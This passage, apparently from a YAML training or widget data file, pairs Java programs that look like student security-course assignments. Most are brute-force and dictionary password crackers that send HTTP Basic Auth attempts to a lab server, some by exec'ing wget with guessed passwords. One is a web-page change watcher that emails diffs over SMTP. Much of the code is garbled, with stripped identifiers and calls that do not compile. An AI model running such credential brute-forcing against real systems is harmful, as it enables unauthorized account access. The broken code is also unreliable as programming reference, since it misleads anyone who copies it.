| \ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\ | |
| The username is: \"+username+\" The password is: \"+passwd);\n break;\n\ | |
| \ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\ | |
| \ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\ | |
| \ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\ | |
| public static void main(String args[]) throws Exception\n{\n Dictionary ds =\ | |
| \ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}" | |
| - "import java.*;\nimport java.io.*;\npublic class C\n{\n public static void\ | |
| \ main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n \ | |
| \ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \ | |
| \ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n \ | |
| \ {\n if (w==1)\n i+=32;\n for(int j = 0;\ | |
| \ j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n \ | |
| \ if(n==1)\n j+=32;\n for(int k = 0; k<26\ | |
| \ ; k++)\n {\n for(m=0; m<2; m++)\n \ | |
| \ {\n if(m==1)\n k+=32;\n \ | |
| \ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \ | |
| \ String str = new String(data);\n System.out.println(str);\n\ | |
| \ FileWriter fr1 = new FileWriter(file,true);\n \ | |
| \ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\ | |
| \ in1.newLine();\n in1.print();\n \ | |
| \ if (k>=31)\n k-=32;\n \ | |
| \ }\n }\n if(j>=31)\n j=j-32;\n \ | |
| \ }\n }\n if(i>=31)\n i-=32;\n \ | |
| \ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\ | |
| );\n}\n}\n}\n" | |
| - source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\ | |
| import java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\ | |
| \npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n\ | |
| \ private PrintWriter out2;\n private TextArea response;\n int status;\n\ | |
| \ int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int\ | |
| \ newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n \ | |
| \ PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n\ | |
| \ status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n\ | |
| \ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ | |
| \ printW = new PrintWriter(fout);\n }\n catch (IOException\ | |
| \ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ | |
| \ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ | |
| \ u = new URL(url);\n try\n {\n \n \ | |
| \ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ | |
| \ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ | |
| \n String line;\n\n \n while ((line = in.readLine())\ | |
| \ != null)\n {\n \n printW.println(line);\n\ | |
| \n }\n }\n catch (Exception e)\n {\n \ | |
| \ System.out.println(\"Error: \" + e);\n }\n }\n \ | |
| \ catch (MalformedURLException e)\n {\n System.out.println(url\ | |
| \ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ | |
| \n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ | |
| );\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ | |
| \ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ | |
| \ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ | |
| \ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ | |
| \ mailFlag++;\n \n }\n return buffer.toString();\n\ | |
| \ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ | |
| \ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ | |
| \ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ | |
| \ file.delete();\n String ;\n\n try\n {\n fout2\ | |
| \ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ | |
| \ }\n catch (IOException ioe)\n {\n System.out.println(\"\ | |
| IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ | |
| \ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ | |
| \ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ | |
| \ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ | |
| \n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ | |
| \ BufferedReader buf2;\n\n try\n {\n \ | |
| \ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ | |
| \ BufferedReader(fRead2);\n String line2;\n int\ | |
| \ i=0;\n\n line = new String(\" some changes the web as followed:\ | |
| \ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ | |
| , 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ | |
| \ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ | |
| \ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ | |
| \ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ | |
| \ \n\n while( (line2 = buf2.readLine()) != null)\n \ | |
| \ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ | |
| \ \n \n\n }\n \ | |
| \ \n \n \n out2.print();\n \ | |
| \ send(\".\");\n s.print();\n }\n \ | |
| \ catch(FileNotFoundException e)\n {\n System.out.println(\"\ | |
| File not found\");\n }\n catch(IOException ioe)\n \ | |
| \ {\n System.out.println(\"IO Error \" + ioe);\n \ | |
| \ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ | |
| \ \n System.err.print(loadStream(ps.getErrorStream()));\n \ | |
| \ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ | |
| \ }\n }\n\n public void send(String s) throws IOException\n {\n\ | |
| \ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ | |
| \ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ | |
| \t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" | |
| sentences: | |
| - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\ | |
| {\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ | |
| ;\n private static String password;\n private static int length; \ | |
| \ \n private static int t_counter; \n private static int f_counter;\ | |
| \ \n \n private static int cases;\ | |
| \ \n \n private static int respCode;\ | |
| \ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\ | |
| \ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \ | |
| \ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \ | |
| \ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\ | |
| \ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\ | |
| Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ | |
| \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ | |
| \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ | |
| \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ | |
| \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ | |
| \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ | |
| \ BufferedReader in = \n new BufferedReader (new InputStreamReader\ | |
| \ (content));\n String line;\n while ((line = in.readLine()) !=\ | |
| \ null) \n {\n pw.println(line);\n }\n } catch\ | |
| \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ | |
| \ sw.toString();\n }\n \n class BruteForceAuthenticator extends\ | |
| \ Authenticator \n {\n private String username = \"\";\n\n protected\ | |
| \ PasswordAuthentication getPasswordAuthentication()\n {\n return\ | |
| \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ | |
| \ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\ | |
| \ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\ | |
| \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \ | |
| \ k=0;\n \n \n \n if(t_counter == 0)\n {\n\ | |
| \ length = 1;\n cases = 0;\n f_counter = 0;\n\ | |
| \ }\n if(t_counter == 2*n)\n {\n length = 2;\n\ | |
| \ cases = 0;\n f_counter = 0;\n }\n if(t_counter\ | |
| \ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\ | |
| \ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\ | |
| \n \n \n if(length == 1)\n {\n if(f_counter\ | |
| \ == n)\n {\n cases++;\n f_counter = 0;\n\ | |
| \ }\n i = f_counter;\n\n } else if(length == 2)\ | |
| \ \n {\n if(f_counter == n*n)\n {\n \ | |
| \ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\ | |
| \ j = f_counter - i*n;\n\n } else if(length == 3) \n \ | |
| \ {\n if(f_counter == n*n*n)\n {\n cases++;\n\ | |
| \ f_counter = 0;\n }\n i = f_counter/(n*n);\n\ | |
| \ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\ | |
| \ }\n\n \n switch(cases)\n {\n case\ | |
| \ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\ | |
| \ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\ | |
| \ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ | |
| \ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\ | |
| \ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\ | |
| \ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ | |
| \ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\ | |
| \ = letters1.charAt(k);\n break;\n case 3:\n \ | |
| \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ | |
| \ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\ | |
| \ case 4:\n c[0] = letters1.charAt(i);\n \ | |
| \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ | |
| \ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ | |
| \ c[1] = Character.toUpperCase(letters1.charAt(j));\n \ | |
| \ c[2] = letters1.charAt(k);\n break;\n case 6:\n\ | |
| \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ | |
| \ c[2] = Character.toUpperCase(letters1.charAt(k));\n \ | |
| \ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ | |
| \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ | |
| \ break;\n default:\n break;\n \ | |
| \ }\n\n f_counter++;\n t_counter++;\n\n password = new\ | |
| \ String(c);\n return c;\n }\n }\n}\n" | |
| - "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\ | |
| \ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\ | |
| \ hostname;\n private int port;\n private String filename;\n private Socket\ | |
| \ s;\n private int n;\n private InputStream sin;\n private OutputStream\ | |
| \ sout;\n private int dif;\n private String myPassword;\n private int status;\n\ | |
| \ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\ | |
| \ bf , int num, int myPort, String password)\n {\n \n hostname = new\ | |
| \ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\ | |
| \ myTime = 0;\n myPassword = password;\n filename = new String(\"\ | |
| /SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\ | |
| \ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\ | |
| \ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\ | |
| \ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \ | |
| \ finish = 0;\n start = System.currentTimeMillis();\n try\n \ | |
| \ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\ | |
| \ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\ | |
| \ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\ | |
| \t return;\n }\n while(s.isConnected() == false)\n continue;\n\ | |
| \ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\ | |
| \ \n try\n {\n sin = s.getInputStream();\n }catch(\ | |
| \ IOException e)\n {\n System.out.println(\"'t open stream\");\n\ | |
| \ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\ | |
| \ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\ | |
| \ IOException e)\n {\n System.out.println(\"'t open stream\");\n\ | |
| \ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\ | |
| \ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\ | |
| \ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\ | |
| \ \n try\n {\n inputLine = fromServer.readLine();\n \ | |
| \ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\ | |
| );\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \ | |
| \ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\ | |
| \ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\ | |
| \ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\ | |
| \ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\ | |
| \t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\ | |
| \ {\n fromServer.receive();\n }catch( IOException e)\n \ | |
| \ {\n System.out.println(\"'t open stream\");\n }\n try\n\ | |
| \ {\n s.connect();\n }catch( IOException e)\n {\n \ | |
| \ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\ | |
| \ }\n public getTime()\n {\n return myTime;\n }\n \n}\n" | |
| - "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\ | |
| \ static String password=\" \"; \n\n \n public static void main(String[]\ | |
| \ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\ | |
| \ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\ | |
| \t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\ | |
| \t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\ | |
| \ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\ | |
| \ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\ | |
| \ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\ | |
| \ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\ | |
| \t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\ | |
| for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\ | |
| \t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\ | |
| \t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\ | |
| \t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\ | |
| \ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\ | |
| \t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\ | |
| \\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\ | |
| \t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\ | |
| \ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\ | |
| \ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\ | |
| \ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\ | |
| , \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\ | |
| \t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\ | |
| \ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\ | |
| \t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\ | |
| The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\ | |
| \ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\ | |
| }\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\ | |
| \t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\ | |
| \t\t \n\n\n\n \n \n\t } \n \n \n\t\ | |
| } \n return \"Password could not found\"; \n\n }\n\n\n}" | |
| - source_sentence: "package java.httputils;\n\nimport java.io.IOException;\nimport\ | |
| \ java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class\ | |
| \ RunnableBruteForce extends BruteForce implements Runnable\n{\n protected\ | |
| \ int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public\ | |
| \ RunnableBruteForce()\n {\n super();\n }\n\n \n public void\ | |
| \ run()\n {\n process();\n }\n\n public static void main(String[]\ | |
| \ args)\n {\n }\n \n public int getRangeEnd()\n {\n return\ | |
| \ rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return\ | |
| \ rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n \ | |
| \ rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n\ | |
| \ rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n\ | |
| \ return stop;\n }\n\n \n public void setStop(boolean b)\n \ | |
| \ {\n stop = b;\n }\n\n public void process()\n {\n String\ | |
| \ password = \"\";\n \n System.out.println(Thread.currentThread().getName()\ | |
| \ +\n \"-> workload: \" +\n \ | |
| \ this.letters[getRangeStart()] + \" \" +\n this.letters[getRangeEnd()\ | |
| \ - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n \ | |
| \ for (int i = getRangeStart();\n i < getRangeEnd();\n \ | |
| \ i++)\n {\n System.out.println(Thread.currentThread().getName()\ | |
| \ +\n \"-> Trying words beginning with: \" +\n \ | |
| \ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ | |
| \ i2++)\n {\n for (int i3 = 0;\n \ | |
| \ i3 < letters.length;\n i3++)\n \ | |
| \ {\n if (isStop())\n {\n \ | |
| \ return;\n }\n try\n \ | |
| \ {\n char [] arr = new char [] {letters[i],\ | |
| \ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ | |
| \ \n if (Thread.currentThread().getName().equals(\"\ | |
| Thread-1\") && pwd.equals(\"bad\"))\n {\n \ | |
| \ System.out.println(Thread.currentThread().getName() +\n \ | |
| \ \"-> Trying password: \" +\n \ | |
| \ pwd);\n }\n attempts++;\n\ | |
| \n BasicAuthHttpRequest req =\n \ | |
| \ new BasicAuthHttpRequest(\n getURL(),\n \ | |
| \ getUserName(),\n \ | |
| \ pwd);\n System.out.println(\"Got the password\");\n\ | |
| \ setPassword(pwd);\n setEnd(new\ | |
| \ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ | |
| \n \n this.setChanged();\n \ | |
| \ this.notifyObservers(this.getContent());\n \ | |
| \ return;\n }\n catch (MalformedURLException\ | |
| \ e)\n {\n e.printStackTrace();\n \ | |
| \ return;\n }\n catch\ | |
| \ (IOException e)\n {\n\n }\n \ | |
| \ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ | |
| \ }\n\n}\n" | |
| sentences: | |
| - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\ | |
| \ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\ | |
| \ \n for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n boolean\ | |
| \ quad = false;\n boolean trip = false;\n\n int bat = (0xFF & (int)\ | |
| \ data[i]);\n bat <<= 8;\n if ((i+1) < data.length) {\n \ | |
| \ bat |= (0xFF & (int) data[i+1]);\n trip = true;\n }\n \ | |
| \ bat <<= 8;\n if ((i+2) < data.length) {\n bat |= (0xFF\ | |
| \ & (int) data[i+2]);\n quad = true;\n }\n out[index+3]\ | |
| \ = alphabet[(quad? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+2]\ | |
| \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ | |
| \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ | |
| \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ | |
| \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ | |
| \ for( int ix=0; ix<data.length; ix++ )\n {\n if( (data[ix] > 255)\ | |
| \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ | |
| \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ | |
| \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ | |
| \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ | |
| \ \n for (int ix=0; ix<data.length; ix++)\n {\n int value = (data[ix]>255)?\ | |
| \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ | |
| \ accum <<= 6; \n shift += 6; \n\ | |
| \ accum |= value; \n if ( shift >= 8 ) \n\ | |
| \ {\n shift -= 8; \n out[index++]\ | |
| \ = \n (byte) ((accum >> shift) & 0xff);\n \ | |
| \ }\n }\n \n \n \n \n \n \n \ | |
| \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ | |
| Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ | |
| \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ | |
| \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ | |
| \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ | |
| static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ | |
| \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ | |
| \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ | |
| \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ | |
| \ = 63;\n}\n}" | |
| - "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\ | |
| import java.awt.*;\nimport java.awt.event.*;\n\npublic class WatchDog\n{\n public\ | |
| \ static void main (String args[])\n {\n String url = \"http://yallara.cs.rmit.edu./~\"\ | |
| ;\n String file1 = \"test1.txt\";\n int flag = 0;\n\n \n WriteFile\ | |
| \ write = new WriteFile(url, file1, flag);\n\n \n \n new DoSleep().print();\n\ | |
| \ }\n}\n\nclass DoSleep extends Thread\n{\n public synchronized void run()\n\ | |
| \ {\n String url = \"http://yallara.cs.rmit.edu./~\";\n String file2\ | |
| \ = \"test2.txt\";\n int flag = 1;\n int status = 0;\n String file1\ | |
| \ = \"test1.txt\";\n\n System.out.println(\"Checking.........\");\n \ | |
| \ try\n {\n \n \n \n sleep();\n\n \ | |
| \ \n \n WriteFile write = new WriteFile(url, file2, flag);\n\n\ | |
| \ status = write.getStatus();\n \n\n if(status != 0)\n\ | |
| \ {\n int flag2 = 0;\n \n \n \ | |
| \ WriteFile write2 = new WriteFile(url, file1, flag2);\n }\n\ | |
| \ \n new DoSleep().print();\n }\n catch (InterruptedException\ | |
| \ e) {}\n }\n}\n\n\n" | |
| - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\ | |
| \ class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n \ | |
| \ Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n \ | |
| \ char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ | |
| \t String pass;\n char temp[] = {'a','a'};\n char temp1[] =\ | |
| \ {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n\ | |
| \ String resp = new String();\n int count=0;\n String\ | |
| \ success = new String();\n InputStreamReader instre;\n BufferedReader\ | |
| \ bufread;\n\n\n for(int k=0;k<52;k++)\n {\n \ | |
| \ temp2[0]=chars[k];\n pass = new String(temp2); \ | |
| \ \n count++; \n\n System.out.println(\"\ | |
| The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ | |
| \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ | |
| ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ | |
| \n instre = new InputStreamReader(pr.getErrorStream());\n \ | |
| \ \n \n bufread\ | |
| \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ | |
| \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ | |
| \ if(resp.equals(\"HTTP request sent, awaiting response...\ | |
| \ 200 OK\"))\n {\n System.out.println(\"\ | |
| Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ | |
| +count);\n System.exit(0);\n \ | |
| \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ | |
| \ e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n \ | |
| \ {\n for(int k=0;k<52;k++)\n {\n \ | |
| \ temp[0]=chars[j];\n temp[1]=chars[k];\n\n \ | |
| \ pass = new String(); \n count++; \ | |
| \ \n\n System.out.println(\"The password tried is------->\"\ | |
| +pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user=\ | |
| \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\ | |
| \ \n\t try\n {\n\t\t pr = rt.exec(f);\n\ | |
| \n instre = new InputStreamReader(pr.getErrorStream());\n \ | |
| \ \n \n bufread\ | |
| \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ | |
| \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ | |
| \ if(resp.equals(\"HTTP request sent, awaiting response...\ | |
| \ 200 OK\"))\n {\n System.out.println(\"\ | |
| Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ | |
| +count);\n System.exit(0);\n \ | |
| \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ | |
| \ e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n\ | |
| \ for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n \ | |
| \ {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n\ | |
| \ temp1[2]=chars[k];\n pass = new String(temp1);\ | |
| \ \n count++; \n\n System.out.println(\"\ | |
| The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ | |
| \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ | |
| ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ | |
| \n instre = new InputStreamReader(pr.getErrorStream());\n \ | |
| \ \n \n bufread\ | |
| \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ | |
| \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ | |
| \ if(resp.equals(\"HTTP request sent, awaiting response...\ | |
| \ 200 OK\"))\n {\n System.out.println(\"\ | |
| Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ | |
| +count);\n System.exit(0);\n \ | |
| \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ | |
| \ e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n" | |
| - source_sentence: "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\n\ | |
| import java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener\ | |
| \ {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new\ | |
| \ TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString\ | |
| \ s = tf.getText();\n\t\tString login=\"\";\n\n\t\tif (s.length() != 0)\n\t\t\ | |
| {\n\t\t\tchar symbol = 'A';\n\n\t\t\tlogin=\":\";\n\t\t\t\n\t\t\tfor(int i = 0;\ | |
| \ i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\ | |
